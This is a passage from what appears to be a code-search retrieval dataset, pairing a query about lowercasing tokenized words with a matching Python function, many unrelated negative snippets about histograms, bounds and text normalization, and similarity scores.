limits\\r\\n extrapoints = extrapoints + 1\\r\\n if (extrapoints > 0 and printextras == 1):\\r\\n print '\\\\nPoints outside given histogram range =',extrapoints\\r\\n return (bins, lowerreallimit, binsize, extrapoints)\",\n \"def normalize_row_scale01(data,tol=1e-6,data_min=None,data_max=None,clip=False,clip_min=1e-3,clip_max=1e3):\\n if clip:\\n data[data<clip_min]=clip_min\\n data[data>clip_max]=clip_max\\n\\n if data_max is None:\\n data_max=np.max(data,axis=1)\\n data_max.shape=(data_max.shape[0],1)\\n #if clip:\\n # data_max[data_max>clip_max]=clip_max\\n if data_min is None:\\n data_min=np.min(data,axis=1)\\n data_min.shape=(data_min.shape[0],1)\\n #if clip:\\n # data_min[data_min<clip_min]=clip_min\\n #tol=1e-6#1e-8\\n return (data-data_min)/(data_max-data_min+tol),data_min,data_max\",\n \"def test_set_clip_precentile_update_data(self):\\n data = np.array([1., 2., 3.])\\n self.mode.set_clip_percentile(10, 90)\\n result = self.mode.get_bounds(data)\\n data = data + 3\\n result = self.mode.get_bounds(data)\\n np.testing.assert_array_almost_equal(result,\\n np.percentile(data, [10, 90]))\",\n \"def test_set_clip_precentile_update(self):\\n data = np.array([1., 2., 3.])\\n self.mode.set_clip_percentile(10, 90)\\n result = self.mode.get_bounds(data)\\n self.mode.set_clip_percentile(20, 80)\\n result = self.mode.get_bounds(data)\\n np.testing.assert_array_almost_equal(result,\\n np.percentile(data, [20, 80]))\",\n \"def nudged_min_max_compute(min_broadcast, max_broadcast, num_bits, narrow_range):\\n\\n\\n dtype = min_broadcast.dtype\\n quant_min = 1 if narrow_range else 0\\n quant_max = (2 ** num_bits) - 1\\n\\n # because of need compute each channel, so quant_min and quant_max need to broadcast.\\n quant_min_float = topi.full(min_broadcast.shape, dtype, tvm.const(quant_min, dtype))\\n quant_max_float = topi.full(min_broadcast.shape, dtype, tvm.const(quant_max, dtype))\\n\\n # caculate each channel max and min difference.\\n max_sub_min = topi.subtract(max_broadcast, min_broadcast)\\n quant_max_sub_quant_min = topi.subtract(quant_max_float, quant_min_float)\\n # compute scale = (max_broadcast - min_broadcast) / (quant_max - quant_min)\\n # and min_div_scale = min_broadcast / scale\\n if product_is_mini():\\n scale = mul(max_sub_min, reciprocal(quant_max_sub_quant_min), target=utils.CCE)\\n min_div_scale = Mul(min_broadcast, reciprocal(scale), target=utils.CCE)\\n else:\\n scale = divide(max_sub_min, quant_max_sub_quant_min, target=utils.CCE)\\n min_div_scale = divide(min_broadcast, scale, target=utils.CCE)\\n\\n # zero_point_from_min = quant_min_float - min_broadcast / scale\\n zero_point_from_min = topi.subtract(quant_min_float, min_div_scale)\\n # if zero_point_from_min < quant_min_float, bool_less_quant_min_float = 1 else 0\\n bool_less_quant_min_float = less_compare_float32(zero_point_from_min, quant_min_float)\\n # if quant_max_float < zero_point_from_min, bool_more_quant_max_float = 1 else 0\\n bool_more_quant_max_float = less_compare_float32(quant_max_float, zero_point_from_min)\\n\\n # according to above bool param to select effective value\\n less_quant_min_float = topi.multiply(quant_min_float, bool_less_quant_min_float)\\n more_quant_max_float = topi.multiply(quant_max_float, bool_more_quant_max_float)\\n\\n # compute which num is not less than quant_min_float and not large than quant_max_float\\n tensor_one = topi.full(min_broadcast.shape, dtype, dc.one_const(dtype))\\n bool_not_less_quant_min_float = topi.subtract(tensor_one, bool_less_quant_min_float)\\n bool_not_more_quant_max_float = topi.subtract(tensor_one, bool_more_quant_max_float)\\n bool_between_min_max = topi.multiply(bool_not_less_quant_min_float, bool_not_more_quant_max_float)\\n between_min_max_float = topi.multiply(zero_point_from_min, bool_between_min_max)\\n # add 0.5 to num which min <= num <= max and then floor them.\\n between_min_max_add_half_one = topi.add(between_min_max_float, dc.half_const(dtype))\\n between_min_max_round = akg.lang.ascend.floor(between_min_max_add_half_one)\\n if product_is_mini():\\n between_min_max_round = topi.cast(between_min_max_round, \\\"float16\\\")\\n\\n between_min_max_round = topi.cast(between_min_max_round, \\\"float32\\\")\\n\\n # calculate the maximum and minimum values of the quantization\\n nudged_zero_point_tmp = topi.add(less_quant_min_float, more_quant_max_float)\\n nudged_zero_point = topi.add(nudged_zero_point_tmp, between_min_max_round)\\n\\n nudged_min_tmp = topi.subtract(quant_min_float, nudged_zero_point)\\n nudged_max_tmp = topi.subtract(quant_max_float, nudged_zero_point)\\n nudged_min = topi.multiply(nudged_min_tmp, scale)\\n nudged_max = topi.multiply(nudged_max_tmp, scale)\\n res = [nudged_min, nudged_max, scale]\\n\\n return res\",\n \"def lin_cutoff_calc_from_perc(image, minimum, maximum):\\n if minimum < 0 or maximum < 0 or minimum > 100 or maximum > 100:\\n raise Exception(\\\"rvt.blend_funct.lin_cutoff_calc_from_perc: minimum, maximum are percent and have to be in \\\"\\n \\\"range 0-100!\\\")\\n if minimum + maximum > 100:\\n raise Exception(\\\"rvt.blend_funct.lin_cutoff_calc_from_perc: if minimum + maximum > 100% then there are no\\\"\\n \\\" values left! You can't cutoff whole image!\\\")\\n distribution = np.nanpercentile(a=image, q=np.array([minimum, 100 - maximum]))\\n min_lin = distribution[0]\\n max_lin = distribution[1]\\n if min_lin == max_lin:\\n min_lin = np.nanmin(image)\\n max_lin = np.nanmax(image)\\n return {\\\"min_lin\\\": min_lin, \\\"max_lin\\\": max_lin}\",\n \"def map_bound(value, in_low, in_high, out_low, out_high):\\n result = None\\n\\n if value <= in_low:\\n result = out_low\\n else:\\n if value >= in_high:\\n result = out_high\\n else:\\n # http://stackoverflow.com/a/5650012/574981\\n result = out_low + (\\n (out_high - out_low) * (value - in_low) / (in_high - in_low)\\n )\\n return result\",\n \"def get_abnormal_price_values(ls_ls_prices, lower_bound, upper_bound):\\n ls_abnormal_prices = []\\n for indiv_ind, ls_prices in enumerate(ls_ls_prices):\\n day_ind = 0\\n while day_ind < len(ls_prices):\\n if (ls_prices[day_ind] < lower_bound) or (ls_prices[day_ind] > upper_bound):\\n relative_day = 0\\n ls_day_inds = []\\n while (day_ind + relative_day < len(ls_prices)) and\\\\\\n (ls_prices[day_ind] == ls_prices[day_ind + relative_day]):\\n ls_day_inds.append(day_ind + relative_day)\\n relative_day += 1\\n ls_abnormal_prices.append((indiv_ind, ls_prices[day_ind], ls_day_inds))\\n day_ind += relative_day\\n else:\\n day_ind += 1\\n return ls_abnormal_prices\",\n \"def test_simple_check_data_below(self):\\n expected = np.array([8.4, 10.61538462, 11.84615385])\\n expected = expected[:, np.newaxis, np.newaxis]\\n\\n data = np.array([0.95, 0.3, 0.05])[::-1]\\n data = data[:, np.newaxis, np.newaxis]\\n\\n cube = set_up_probability_cube(\\n data.astype(np.float32),\\n ECC_TEMPERATURE_THRESHOLDS,\\n threshold_units=\\\"degC\\\",\\n spp__relative_to_threshold=\\\"below\\\",\\n )\\n\\n result = Plugin()._probabilities_to_percentiles(cube, self.percentiles)\\n self.assertArrayAlmostEqual(result.data, expected)\",\n \"def compare(cls, data_hist, ref_hist, floor):\\n\\n debug('Min: {}'.format(min_skip_empty(data_hist)))\\n if min_skip_empty(data_hist) > floor:\\n return cls.create_final_dict(Score(100), ERROR_LEVELS.OK)\\n else:\\n return cls.create_final_dict(Score(0), ERROR_LEVELS.ERROR)\",\n \"def compare(cls, data_hist, ref_hist, abs_band):\\n\\n if not abs_band: # 3*sigma tolerance band from reference\\n abs_band = 3*ref_hist.GetRMS()\\n abs_band = abs(abs_band) # force +ve definite band\\n frac_above = frac_above_threshold(data_hist, abs_band)\\n frac_below = frac_below_threshold(data_hist, -abs_band)\\n frac_outside = frac_above + frac_below\\n debug('Fraction outside: {}, above: {}, below: {}'.\\n format(frac_outside, frac_above, frac_below))\\n if frac_outside > 0.01:\\n return cls.create_final_dict(Score(0), ERROR_LEVELS.ERROR)\\n else:\\n return cls.create_final_dict(Score(100), ERROR_LEVELS.OK)\",\n \"def __init__(self, bucket_ranges):\\n # An array of the histogram bucket boundaries, such as 1, 10, 30, 100\\n self.__bucket_ranges = list(bucket_ranges)\\n last_value = None\\n for i in self.__bucket_ranges:\\n if last_value is not None and i < last_value:\\n raise ValueError(\\\"The bucket_ranges argument must be sorted.\\\")\\n else:\\n last_value = i\\n\\n # __counts[i] holds the total number of values we have seen >= to __boundaries[i-1] and < __boundaries[i]\\n self.__counts = [0] * len(bucket_ranges)\\n # __overflows holds the number of values >= __boundaries[-1]\\n self.__overflow = 0\\n # The minimum and maximum values seen.\\n self.__min = None\\n self.__max = None\\n # The total number of values collected.\\n self.__total_count = 0\\n # The sum of the values collected\\n self.__total_values = 0\",\n \"def eval_strategy_range(make_strategy, lower_bound, upper_bound):\\r\\n best_value, best_win_rate = 0, 0\\r\\n value = lower_bound\\r\\n while value <= upper_bound:\\r\\n strategy = make_strategy(value)\\r\\n win_rate = compare_strategies(strategy)\\r\\n print('Win rate against the baseline using', value, 'value:', win_rate)\\r\\n if win_rate > best_win_rate:\\r\\n best_win_rate, best_value = win_rate, value\\r\\n value += 1\\r\\n return best_value\",\n \"def make_roundflat(\\n lower_bound=0.1,\\n upper_bound=0.6,\\n lower_steepness=2.0,\\n upper_steepness=8.0,\\n integration_bounds=(0.0, 10.0),\\n):\\n\\n def roundflat(x):\\n return -2 * (\\n (x / lower_bound) ** (-2 * lower_steepness)\\n + (x / upper_bound) ** (2 * upper_steepness)\\n )\\n\\n value = quad(\\n lambda x: np.exp(roundflat(x)), integration_bounds[0], integration_bounds[1]\\n )[0]\\n\\n def prior(x):\\n return roundflat(x) - np.log(value)\\n\\n return prior\",\n \"def check_limits(data, tables, max_percent=1., replace_with='interpolation'):\\n from . import trend as pmtrend\\n import numpy as np\\n from . import algs\\n import pandas as pd\\n\\n df = data.copy()\\n max_count = int(len(df)*max_percent/100.)\\n low_count = pd.Series(0, index=tables.columns)\\n upp_count = pd.Series(0, index=tables.columns)\\n fault_count = pd.Series(0, index=tables.columns)\\n\\n #-----------\\n # First we check the lower values\\n if 'lower_limits' in tables.index.values:\\n faulty = df < tables.loc['lower_limits']\\n low_count = df[ faulty ].count() \\n df[ faulty ] = np.nan\\n #-------------------------------\\n \\n #-------------------------------\\n # Now we check the upper values\\n if 'upper_limits' in tables.index.values:\\n faulty = df > tables.loc['upper_limits']\\n upp_count = df[ faulty ].count() \\n df[ faulty ] = np.nan\\n #-------------------------------\\n\\n fault_count = low_count + upp_count\\n valid = fault_count < max_count\\n\\n #------------\\n # Replace data with either its trend or by interpolating\\n if replace_with=='trend':\\n trend = pmdata.trend(df, how='linear')\\n df = df.fillna(trend)\\n elif replace_with=='interpolation':\\n df = df.interpolate(method='index', limit_direction='both')\\n #------------\\n\\n #-------------------------------\\n # Substitute faulty points by the linear trend\\n #trend = data.polyfit()\\n #df = df.fillna(trend)\\n #-------------------------------\\n\\n return df, valid, fault_count\",\n \"def conceptcover(bin_arr, limit=1, uncovered=0.1):\\n arr = np.copy(bin_arr)\\n arr_sum = np.sum(arr)\\n result = []\\n while True:\\n k = kernel(arr)\\n i = intent(bin_arr, k)\\n e = extent(bin_arr, i)\\n if len(e)*len(i) < limit or (e, i) in result: break\\n result.append((e, i))\\n arr = removed(arr, e, i)\\n if np.sum(arr)/arr_sum < uncovered: break\\n return result\",\n \"def _get_bound(self):\\n\\n if self.totensor:\\n max_ = 1.0\\n min_ = 0.0\\n else:\\n max_ = 255.0\\n min_ = 0.0\\n\\n upper = (max_ - torch.tensor(self.img_norm['mean'])) / torch.tensor(self.img_norm['std'])\\n lower = min_ - torch.tensor(self.img_norm['mean']) / torch.tensor(self.img_norm['std'])\\n \\n return upper, lower\",\n \"def get_bollinger_bands(rm, rstd):\\n \\n upper_band=rm+2*rstd\\n lower_band=rm-2*rstd\\n return upper_band, lower_band\",\n \"def _validateregion(self, bounds):\\n bounds.sort()\\n for region in self.regions:\\n if region['min'] <= bounds[0] and region['max'] >= bounds[1]:\\n return None\\n elif region['min'] >= bounds[0] and region['max'] <= bounds[1]:\\n i = self.regions.index(region)\\n del self.regions[i]\\n self.regions.append({'min': bounds[0], 'max': bounds[1], \\n 'group': group})\\n elif region['min'] <= bounds[0] <= region['max'] and \\\\\\n region['max'] < bounds[1]:\\n bounds[0] = region['max'] + 1\\n elif region['min'] <= bounds[1] <= region['max'] and \\\\\\n region['min'] > bounds[0]:\\n bounds[1] = region['min'] - 1\\n return bounds\",\n \"def upper_bound(self) -> float:\\n ...\",\n \"def test_calculate_crow_bounds_scale_parameter_type2(self):\\n\\n _bounds = calculate_crow_bounds(22, 620.0, 0.4239, 0.6142, 0.9, 2, 2)\\n self.assertAlmostEqual(_bounds[0], 0.2870230)\\n self.assertAlmostEqual(_bounds[1], 0.5827754)\",\n \"def sigma_boundary(counts, percentage):\\n\\t# Sort counts in descending order\\n\\tcounts_desc = sorted(counts.flatten(), reverse=True)\\n\\t# Find cumulative sum of sorted counts\\n\\tcumulative_counts = np.cumsum(counts_desc)\\n\\t# Create a mask for counts outside of percentage boundary\\n\\tsum_mask = cumulative_counts < (percentage /100) * np.sum(counts)\\n\\tsigma_sorted = sum_mask * counts_desc\\n\\t# Assume that density is ellipse equivalent of radially symmetric\\n\\tsigma_min = min(sigma_sorted[sigma_sorted.nonzero()])\\n\\n\\treturn sigma_min\",\n \"def find_outliers(data, method='iqr'):\\n\\n if method=='iqr':\\n # Finding the interquartile range\\n q1 = data.quantile(.25)\\n q3 = data.quantile(.75)\\n iqr = q3-q1\\n\\n upper = q3 + iqr*1.5\\n lower = q1 - iqr*1.5\\n elif method=='std':\\n std = data.std()\\n lower = data.mean() - 3*std\\n upper = data.mean() + 3*std\\n else:\\n raise ValueError(\\\"Invalid value for 'method' passed\\\")\\n\\n\\n return lower, upper\",\n \"def identify_outliers(x):\\n outliers = np.array([])\\n\\n IQR = iqr(x)\\n low_cut = np.percentile(x,25) - 1.5*IQR\\n high_cut = np.percentile(x,75) + 1.5*IQR\\n\\n for sub in x.index:\\n if x.loc[sub] < low_cut or x.loc[sub] > high_cut:\\n # outliers = np.append(outliers,np.asarray(x == i).nonzero()[0])\\n outliers = np.append(outliers,sub)\\n\\n return outliers\",\n \"def bucket_sort(numbers, num_buckets=10):\\n ##################################################################\\n # Step 1:\\n # TODO: Find range of given numbers (minimum and maximum values)\\n ##################################################################\\n \\n minimum = min(numbers)\\n maximum = max(numbers)\\n numbers_range = maximum - minimum\\n # print(numbers_range), print(minimum), print(maximum)\\n\\n ##################################################################################\\n # Step 2:\\n # TODO: Create list of buckets to store numbers in subranges of input range\\n ##################################################################################\\n buckets = []\\n for i in range(num_buckets+1):\\n buckets.append([])\\n\\n # TODO: Loop over given numbers and place each item in appropriate bucket\\n for num in numbers: \\n index = int((int((num - minimum) * 100) / numbers_range) / num_buckets)\\n buckets[index].append(num)\\n\\n # TODO: Sort each bucket using any sorting algorithm (recursive or another)\\n \\n for bucket in buckets:\\n for i in range(1, len(bucket)):\\n j = i - 1\\n num = bucket[i]\\n while j >= 0:\\n if bucket[i] < bucket[j]:\\n bucket[j+1] = bucket[j]\\n bucket[j] = num\\n j -= 1\\n else:\\n break\\n # for bucket in buckets:\\n # for i in range(1, len(buckets)):\\n # # Comparison operator \\n # while buckets[i-1] > buckets[i] and i > 0:\\n # # Swap items \\n # buckets[i], buckets[i-1] = buckets[i-1], buckets[i]\\n # # Continue looping over items\\n # i-=1\\n\\n return buckets\\n\\n # TODO: Loop over buckets and append each bucket's numbers into output list\\n output = []\\n for bucket in buckets:\\n for num in bucket:\\n output.append(num)\\n\\n return output\\n # FIXME: Improve this to mutate input instead of creating new output list\",\n \"def exclude_zero_bins(f,fitmin,fitmax,hs=[],limit=0,sumall=False):\\n if len(hs)==0:\\n return\\n nbins = fitmax - fitmin + 1\\n nexcl = 0\\n exclist = []\\n for ibin in xrange(fitmin,fitmax+1):\\n do_exc = any( [h.GetBinContent(ibin)<limit for h in hs] ) if sumall==False else (sum([h.GetBinContent(ibin) for h in hs])<limit)\\n if do_exc:\\n f.ExcludeBin(ibin)\\n exclist.append(ibin)\\n nexcl += 1\\n if nexcl>0:\\n print 'WARNING: TFractionFitter excluded %d out of %d bins due to low statistics (nentries<%d)'%(nexcl,nbins,limit)\\n print ' bins: ' + ' '.join([str(xx) for xx in exclist])\\n else:\\n print 'INFO: TFractionFitter does not need to exclude any bins'\\n return True\",\n \"def norm_hist(self, hist_lower, hist_upper, lower, upper, value) :\\n norm = 1.\\n if upper>lower :\\n norm = hist_lower.Integral()+(hist_upper.Integral()-hist_lower.Integral())/abs(upper-lower)*(value-lower)\\n return norm\",\n \"def generate_binned_values( lower_lim, upper_lim, chr_length, snps_per_chr, indels_per_chr, resolution ):\\n\\t\\n\\tsnp_data = []\\n\\tindel_data = []\\n\\twhile True:\\n\\t\\tif upper_lim >= chr_length:\\n\\t\\t\\tbreak\\n\\t\\telse:\\n\\t\\t\\tsnp_tmp = []\\n\\t\\t\\tindel_tmp = []\\n\\t\\t\\tfor SNP in snps_per_chr:\\n\\t\\t\\t\\tif SNP <= upper_lim and SNP > lower_lim:\\n\\t\\t\\t\\t\\tsnp_tmp.append( 'X' )\\n\\t\\t\\tfor indel in indels_per_chr:\\n\\t\\t\\t\\tif indel <= upper_lim and indel > lower_lim:\\n\\t\\t\\t\\t\\tindel_tmp.append( 'X' )\\n\\t\\t\\tsnp_data.append( len( snp_tmp ) )\\n\\t\\t\\tindel_data.append( len( indel_tmp ) )\\n\\t\\tupper_lim += resolution\\n\\t\\tlower_lim += resolution\\n\\treturn max( snp_data ), max( indel_data ), snp_data, indel_data\",\n \"def getBinRange(histogram, bin_numbers=None, errors=True,\\n log_scale=False, bin_area=None):\\n\\n if bin_numbers is None:\\n bin_numbers = AxesIterator(histogram.axes)\\n\\n lo = None\\n hi = None\\n for bin_number in bin_numbers:\\n value = histogram.getBinContent(bin_number)\\n err_lo, err_hi = histogram.getBinError(bin_number)\\n if errors:\\n vlo = value - err_lo\\n vhi = value + err_hi\\n else:\\n vlo = value\\n vhi = value\\n # Normalize to the bin area.\\n if bin_area is not None:\\n bin_size = getBinSize(histogram.axes, bin_number)\\n scale = bin_area / bin_size\\n vlo *= scale\\n vhi *= scale\\n # Update the maximum and minimum. If this is a log scale, skip\\n # non-positive values.\\n if (not log_scale or vlo > 0) \\\\\\n and (lo is None or vlo < lo):\\n lo = vlo\\n if (not log_scale or vhi > 0) \\\\\\n and (hi is None or vhi > hi):\\n hi = vhi\\n # If we didn't get any values, choose something arbitrary.\\n if hi is None:\\n hi = 1\\n if lo is None:\\n if log_scale:\\n lo = hi / 10\\n else:\\n lo = 0\\n # Go for nice round numbers.\\n lo, hi = makeNiceRange(\\n (lo, hi), include_zero=not log_scale, log_scale=log_scale)\\n # All done.\\n return lo, hi\",\n \"def bincalc(nbin=0.1,bmin=5,bmax=2000):\\n\\n logbmin=np.log10(bmin)\\n logbmax=np.log10(bmax)\\n\\n logbins=np.arange(logbmin,logbmax,nbin)\\n\\n bins=10**logbins\\n\\n #bins=np.linspace(bmin,bmax,60)\\n return (bins)\",\n \"def lhistogram (inlist,numbins=10,defaultreallimits=None,printextras=0):\\r\\n if (defaultreallimits <> None):\\r\\n if type(defaultreallimits) not in [ListType,TupleType] or len(defaultreallimits)==1: # only one limit given, assumed to be lower one & upper is calc'd\\r\\n lowerreallimit = defaultreallimits\\r\\n upperreallimit = 1.000001 * max(inlist)\\r\\n else: # assume both limits given\\r\\n lowerreallimit = defaultreallimits[0]\\r\\n upperreallimit = defaultreallimits[1]\\r\\n binsize = (upperreallimit-lowerreallimit)/float(numbins)\\r\\n else: # no limits given for histogram, both must be calc'd\\r\\n estbinwidth=(max(inlist)-min(inlist))/float(numbins) +1e-6 #1=>cover all\\r\\n binsize = ((max(inlist)-min(inlist)+estbinwidth))/float(numbins)\\r\\n lowerreallimit = min(inlist) - binsize/2 #lower real limit,1st bin\\r\\n bins = [0]*(numbins)\\r\\n extrapoints = 0\\r\\n for num in inlist:\\r\\n try:\\r\\n if (num-lowerreallimit) < 0:\\r\\n extrapoints = extrapoints + 1\\r\\n else:\\r\\n bintoincrement = int((num-lowerreallimit)/float(binsize))\\r\\n bins[bintoincrement] = bins[bintoincrement] + 1\\r\\n except:\\r\\n extrapoints = extrapoints + 1\\r\\n if (extrapoints > 0 and printextras == 1):\\r\\n print '\\\\nPoints outside given histogram range =',extrapoints\\r\\n return (bins, lowerreallimit, binsize, extrapoints)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6620887","0.6594978","0.62357104","0.6183821","0.61543703","0.61226857","0.61187845","0.6117019","0.61008453","0.6096406","0.6086877","0.6066685","0.60292286","0.6000606","0.5948171","0.5942545","0.59317714","0.5907111","0.59046483","0.58851564","0.58800495","0.58703244","0.5838277","0.58366513","0.58327174","0.582422","0.58081174","0.5791248","0.57813597","0.5779384","0.57718855","0.5770863","0.5763922","0.5762244","0.57534236","0.5750164","0.5733021","0.57207805","0.5720242","0.570371","0.57034934","0.5687399","0.5681351","0.5677679","0.5676382","0.5675418","0.5669441","0.56684667","0.5650251","0.5649275","0.56436443","0.563883","0.56380504","0.5620298","0.5604","0.5603221","0.56029767","0.5593933","0.5583934","0.5583692","0.5582805","0.558203","0.55784374","0.5574681","0.5572237","0.55686986","0.5551895","0.5551296","0.55403644","0.55224705","0.55210906","0.5520294","0.55154544","0.5495043","0.5485816","0.5481982","0.5475153","0.5468564","0.54679316","0.54636824","0.54635227","0.5462527","0.5461587","0.5456437","0.54457754","0.54449695","0.54436874","0.54400694","0.5438722","0.54376245","0.54314876","0.54280716","0.5425979","0.5418986","0.54187244","0.5412354","0.54084694","0.5405919","0.54037416","0.5399794"],"string":"[\n \"0.6620887\",\n \"0.6594978\",\n \"0.62357104\",\n \"0.6183821\",\n \"0.61543703\",\n \"0.61226857\",\n \"0.61187845\",\n \"0.6117019\",\n \"0.61008453\",\n \"0.6096406\",\n \"0.6086877\",\n \"0.6066685\",\n \"0.60292286\",\n \"0.6000606\",\n \"0.5948171\",\n \"0.5942545\",\n \"0.59317714\",\n \"0.5907111\",\n \"0.59046483\",\n \"0.58851564\",\n \"0.58800495\",\n \"0.58703244\",\n \"0.5838277\",\n \"0.58366513\",\n \"0.58327174\",\n \"0.582422\",\n \"0.58081174\",\n \"0.5791248\",\n \"0.57813597\",\n \"0.5779384\",\n \"0.57718855\",\n \"0.5770863\",\n \"0.5763922\",\n \"0.5762244\",\n \"0.57534236\",\n \"0.5750164\",\n \"0.5733021\",\n \"0.57207805\",\n \"0.5720242\",\n \"0.570371\",\n \"0.57034934\",\n \"0.5687399\",\n \"0.5681351\",\n \"0.5677679\",\n \"0.5676382\",\n \"0.5675418\",\n \"0.5669441\",\n \"0.56684667\",\n \"0.5650251\",\n \"0.5649275\",\n \"0.56436443\",\n \"0.563883\",\n \"0.56380504\",\n \"0.5620298\",\n \"0.5604\",\n \"0.5603221\",\n \"0.56029767\",\n \"0.5593933\",\n \"0.5583934\",\n \"0.5583692\",\n \"0.5582805\",\n \"0.558203\",\n \"0.55784374\",\n \"0.5574681\",\n \"0.5572237\",\n \"0.55686986\",\n \"0.5551895\",\n \"0.5551296\",\n \"0.55403644\",\n \"0.55224705\",\n \"0.55210906\",\n \"0.5520294\",\n \"0.55154544\",\n \"0.5495043\",\n \"0.5485816\",\n \"0.5481982\",\n \"0.5475153\",\n \"0.5468564\",\n \"0.54679316\",\n \"0.54636824\",\n \"0.54635227\",\n \"0.5462527\",\n \"0.5461587\",\n \"0.5456437\",\n \"0.54457754\",\n \"0.54449695\",\n \"0.54436874\",\n \"0.54400694\",\n \"0.5438722\",\n \"0.54376245\",\n \"0.54314876\",\n \"0.54280716\",\n \"0.5425979\",\n \"0.5418986\",\n \"0.54187244\",\n \"0.5412354\",\n \"0.54084694\",\n \"0.5405919\",\n \"0.54037416\",\n \"0.5399794\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7037333"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":15398,"cells":{"query":{"kind":"string","value":"Convert all characters to lowercase from list of tokenized words"},"document":{"kind":"string","value":"def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return(new_words)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def lowercase(tokens):\n if not lowercase_activated:\n return tokens\n output = [token.lower() for token in tokens]\n return output","def preprocess(tokens):\n result = []\n for token in tokens:\n result.append(token.lower())\n return result","def lowercase(tokens):\n return [token.lower() for token in tokens if token.isalpha()]","def to_lower(self, word_list):\n return [word.lower() for word in word_list]","def _apply_lowercase(sentence_tokens):\n return [token.lower() for token in sentence_tokens]","def _to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\r\n new_words = []\r\n for word in words:\r\n new_word = word.lower()\r\n new_words.append(new_word)\r\n return new_words","def to_lowercase(words: list) -> list:\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words","def to_lowercase(words):\n all_lowercase = []\n for word in words:\n new_word = word.lower()\n all_lowercase.append(new_word)\n return all_lowercase","def lowercase(lista):\n return [text.lower() for text in lista]","def toLowercase(self, words):\n\t\tnewWords = [word.lower() for word in words]\n\t\treturn newWords","def lower(self, text_list):\n return [text.lower() for text in text_list]","def to_lowercase(self):\n new_words = []\n # new_words = \"\"\n for word in self.words:\n new_word = word.lower()\n new_words.append(new_word)\n # new_word += f\"{new_word} \"\n self.words = new_words\n return self","def tokens(doc):\n return (tok.lower() for tok in re.findall(r\"\\w+\", doc))","def tokenized_text(text: Text):\n words = nltk.word_tokenize(text)\n return (w.lower().strip() for w in words if ONLY_LETTER_WORDS.match(w))","def preprocess_words(word: str) -> List[str]:\n return [change_latin(w) for w in word.lower().translate(SUB_MAP).split()] if word else []","def process_text(text):\n words = word_tokenize(text)\n return [word.lower() for word in words if word not in string.punctuation]","def preprocess(text):\n return text.lower()","def tokenize(data, tokenizer=None):\n toker = build_tokenizer(tokenizer=tokenizer)\n return [t.lower() for t in toker.tokenize(data)]","def lower_case(text_vector):\n\n tokenised_document = [token.lower() for token in text_vector]\n return tokenised_document","def keep_lowercase(str_list):","def tokenize(text):\n return [token.lower() for token in simple_preprocess(text) if token not in STOPWORDS]","def preprocess(words):\n words = to_lowercase(words)\n words = remove_punctuation(words)\n words = replace_numbers(words)\n return words","def character_tokenizer(sentence):\n sentence = character_pattern.sub('', sentence)\n sentence = sentence.replace(' ', '_')\n return list(sentence.lower())","def lowercase(raw_text):\n lowercase_text = [text.lower() for text in raw_text]\n return lowercase_text","def applies_capitalization(self, token_list, original_sentence):\n new_token_list = []\n original_token_list = original_sentence.split(\" \")\n for idx, token in enumerate(token_list):\n if idx < len(original_token_list):\n if token.lower() == original_token_list[idx].lower():\n new_token_list.append(original_token_list[idx])\n else:\n new_token_list.append(token)\n else:\n new_token_list.append(token)\n\n return new_token_list","def lowercase_well_known_word(text):\n lines = []\n lines_append = lines.append\n for line in text.splitlines(True):\n words = []\n words_append = words.append\n for word in line.split():\n if word in COMMON_WORDS:\n word = word.lower()\n words_append(word)\n lines_append(' '.join(words))\n return '\\n'.join(lines)","def lower_and_tokenize(text: str) -> List[str]:\n\n # tokenize text, split by non-word characters, i.e. characters not in [a-zA-Z0-9_]\n tokens = re.split(r'\\W+', text)\n\n # force text to lowercase, filtering out empty characters\n lower_tokens = [t.lower() for t in tokens if t != '']\n\n return lower_tokens","def sanitize_text(tokens, stopwords=None):\n\n tokens = [x.lower() for x in tokens]\n regex = re.compile('[^a-z]')\n\n for index in range(len(tokens)):\n tokens[index] = regex.sub('', tokens[index])\n if stopwords and tokens[index] in stopwords:\n tokens[index] = ''\n\n # remove empty elements\n tokens = [token for token in tokens if token != '']\n return tokens","def get_word(w):\n return ''.join(c for c in w if c.isalpha()).lower()","def lowercase(self, sent):\n SPECIAL_TAG_PREFIX = ur\"__\"\n _sent = []\n for w in sent:\n # make sure w is in network vocabulary\n if not w.startswith(SPECIAL_TAG_PREFIX) and \\\n w.lower() in self.word_vectors.getVocab():\n _sent.append(w.lower())\n elif w.startswith(SPECIAL_TAG_PREFIX) and \\\n w in self.word_vectors.getVocab():\n _sent.append(w)\n else:\n _sent.append( self.word_vectors.OOV_SYMBOL )\n return _sent","def normalize_answer(text):\n return ' '.join(re.findall(r\"\\w+\", text)).lower()","def transformation_minuscules(liste_car: List[str]) -> List[str]:\n for i in range(len(liste_car)):\n if liste_car[i].islower():\n liste_car[i] = liste_car[i].upper()\n return liste_car","def transformation_minuscules(liste_car: List[str]) -> List[str]:\n for i in range(len(liste_car)):\n if liste_car[i].islower():\n liste_car[i] = liste_car[i].upper()\n return liste_car","def lemmatization(tokenized_word_list):\n porter=nltk.stem.PorterStemmer()\n filtered_tokens = [porter.stem(word) for word in tokenized_word_list]\n return filtered_tokens","def normalize_word(word):\n\n return word.lower()","def normalize(input_str):\n filtered_input = []\n #check if string input\n 